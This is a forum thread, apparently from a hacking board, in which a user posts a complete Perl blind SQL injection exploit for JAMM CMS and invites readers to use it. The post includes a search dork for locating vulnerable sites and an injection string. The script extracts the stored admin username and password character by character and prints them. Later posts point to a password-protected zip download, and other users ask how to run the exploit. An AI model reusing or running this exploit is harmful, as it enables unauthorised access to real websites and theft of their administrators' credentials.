Results 1 to 5 of 5
  1. #1
    Mr.Dark Shark!!'s Avatar
    Join Date
    Jun 2008
    Posts
    5
    Reputation
    10
    Thanks
    3

    Wink JAMM CMS (id) Blind SQL Injection Vulnerability

    there is a new BAG u can hAcK by it .. PERL

    Bug by: h0yt3r


    [PHP]#!/usr/bin/perl
    ######################
    #
    #JAMM CMS (id) Blind SQL Injection Vulnerability
    #
    ######################
    #
    #Bug by: Mr.Dark Shark!!
    #WWW [D0T] AML7 [D0T] N3T
    #
    #Dork: "powered by JAMM"
    #
    ##
    ###
    ##
    #
    #https://www.site.de/cms/?id=blah
    #Ok when we give $id an unexpected value like this we get an SQL Error.
    #Unfortunately the script is so rude that it doesn't want to show us any data when we UNION SELECT.
    #But when we give $id an existing value and append AND 1=0 the site changes.
    #So Blind SQL Injection is possible.
    #For mySQL Version>=5 we can use subquerys to retrive data,
    #otherwise we have to use BENCHMARK().
    #
    #
    #SQL Injection:
    #https://[target]/[path]/index.php?idSQL]
    #
    #PoC for mySQL Version = 5:
    #index.php?id=10/**/and/**/substring((select/**/concat(login,0x3a,password)/**/from/**/jamm_cms_owen_website_user/**/limit/**/0,1),1,1)/**/like/**/0xbla/*
    #
    #If this condition returns true it would be the same as if we inject AND 1=1
    #so the site gives normal output.
    #
    #Possible Perl Exploit (will not work always because of different tablenames etc):
    #THIS IS JUST AN EXAPLE!!!

    use LWP::UserAgent;
    my $userAgent = LWP::UserAgent->new;

    usage();

    $server = $ARGV[0];
    $dir = $ARGV[1];


    print"\n";
    if (!$dir) { die "Read Usage!\n"; }


    $filename ="index.php";

    my $vulnCheck = "https://".$server.$dir.$filename;
    ;

    my @Daten = ("61","62","63","64","65","66","67","68","69","6A" ,"6B","6C","6D","6E","6F","70","71","72","73","74" ,"75","76","77","78","79","7A","3A","5F","31","32" ,"33","34","35","36","37","38","39","30");

    print"[x]Connecting:";
    my $Attack= $userAgent->get($vulnCheck."?id='");
    if($Attack->is_success)
    {
    print " Connected \n";
    print "[x]Vulnerable Check: ";
    if($Attack->content =~ m/You have an error in your SQL syntax/i)
    { print "Vulnerable \n"; }
    else
    { print "Not Vulnerable"; exit;}
    }

    else
    {
    print " Connection Failed";
    exit;
    }

    my $hex="";
    my $length;

    print "[x]Bruteforcing Length \n";

    my $lengthCounter = 1;
    while(1)
    {
    ##table name will be different sometimes
    my $url = "".$vulnCheck."?id=10%20%20and%20LENGTH((select%20 concat(login,0x3a,password)%20from%20jamm_cms_owen _website_user%20limit%200,1))=".$lengthCounter."";
    my $Attack= $userAgent->get($url);
    my $content = $Attack->content;
    if($content =~ m/<META NAME='Title' CONTENT=''>/i)
    {
    $lengthCounter++;
    }
    else
    {
    if($content =~ m/You have an error in your SQL syntax/i)
    {
    print "Something wrong. mySQL Version? "; exit;
    }

    else
    {
    $length=$lengthCounter;
    last;
    }
    }
    }


    print "[x]Injecting Black Magic \n";

    for($b=1;$b<=$length;$b++)
    {
    for(my $u=0;$u<28;$u++)
    {
    ##table name will be different sometimes
    my $url = "".$vulnCheck."?id=10%20%20and%20substring((select %20concat(login,0x3a,password)%20from%20jamm_cms_o wen_website_user%20limit%200,1),".$b.",1)%20like%2 00x".$Daten[$u]."";

    my $Attack= $userAgent->get($url);

    my $content = $Attack->content;

    ##This will also change sometimes. Take content of AND 1=0
    if($content =~ m/<META NAME='Title' CONTENT=''>/i)
    {

    }

    else
    {
    print "[x] Found Char ".$Daten[$u]."\n";
    $hex=$hex.$Daten[$u];
    last;
    }
    }
    }

    print "[x]Converting \n";
    my $a_str = hex_to_ascii($hex);

    @login = split(/\:/, $a_str);

    print "[x]Success! \n";
    print " Username: $login[0]\n";
    print " Password: $login[1]";

    sub hex_to_ascii ($)
    {
    (my $str = shift) =~ s/([a-fA-F0-9]{2})/chr(hex $1)/eg;
    return $str;
    }



    sub usage()
    {
    print q
    {
    ################################################## ####
    # JAMM CMS Remote Blind SQL Injection Exploit #
    # -Written by Mr.Dark Shark!!- #
    # WWW [D0T] AML7 [D0T] N3T #
    # ________________________ #
    #Usage: JAMM_CMS.pl [Server] [Path] #
    #EXAMPLE: #
    #perl JAMM.pl.pl www.site.com /cms/ #
    # #
    # Dork: "powered by JAMM" #
    ################################################## ####
    };

    }

    # AML7.NET[2008-06-11]
    [/PHP]

    just save it as XXXXXX.pl and have a nice HaCk..

    i'll save is as pl and attached it ..

    Mr.Dark Shark!!

  2. The Following User Says Thank You to Mr.Dark Shark!! For This Useful Post:

    dasannan (08-19-2008)

  3. #2
    Mr.Dark Shark!!'s Avatar
    Join Date
    Jun 2008
    Posts
    5
    Reputation
    10
    Thanks
    3

    Cool ATTACHED ;)

    ATTACHED the bug PL file as ZIP

    also here is explain


    Download PL from here
    https://www.mpgh.net/forum/attachment...1&d=1213283918

    h3r3 is the Explane


    Take Care all

    Mr.Dark Shark!!

  4. The Following User Says Thank You to Mr.Dark Shark!! For This Useful Post:

    dasannan (08-19-2008)

  5. #3
    Mr.Dark Shark!!'s Avatar
    Join Date
    Jun 2008
    Posts
    5
    Reputation
    10
    Thanks
    3
    oooh ,, actully there is a password n ZIP file,, which is my nickname

    Mr.Dark Shark!! >>> sorry about l8in' ^_^

  6. The Following User Says Thank You to Mr.Dark Shark!! For This Useful Post:

    dasannan (08-19-2008)

  7. #4
    daveannan's Avatar
    Join Date
    Jul 2008
    Posts
    2
    Reputation
    10
    Thanks
    0
    what is the pass for the compressrd file

  8. #5
    dasannan's Avatar
    Join Date
    Jul 2008
    Gender
    male
    Posts
    1
    Reputation
    10
    Thanks
    0
    how do u use it with perl

Similar Threads

  1. Replies: 4
    Last Post: 02-18-2014, 07:00 PM
  2. Replies: 4
    Last Post: 02-18-2014, 06:40 PM
  3. Replies: 2
    Last Post: 11-02-2009, 11:34 PM
  4. Question about SQL Injections
    By darkounet in forum General Game Hacking
    Replies: 0
    Last Post: 06-29-2007, 11:13 PM
  5. KO can be sql injected
    By sf0d in forum General Game Hacking
    Replies: 2
    Last Post: 01-26-2006, 09:50 PM

Tags for this Thread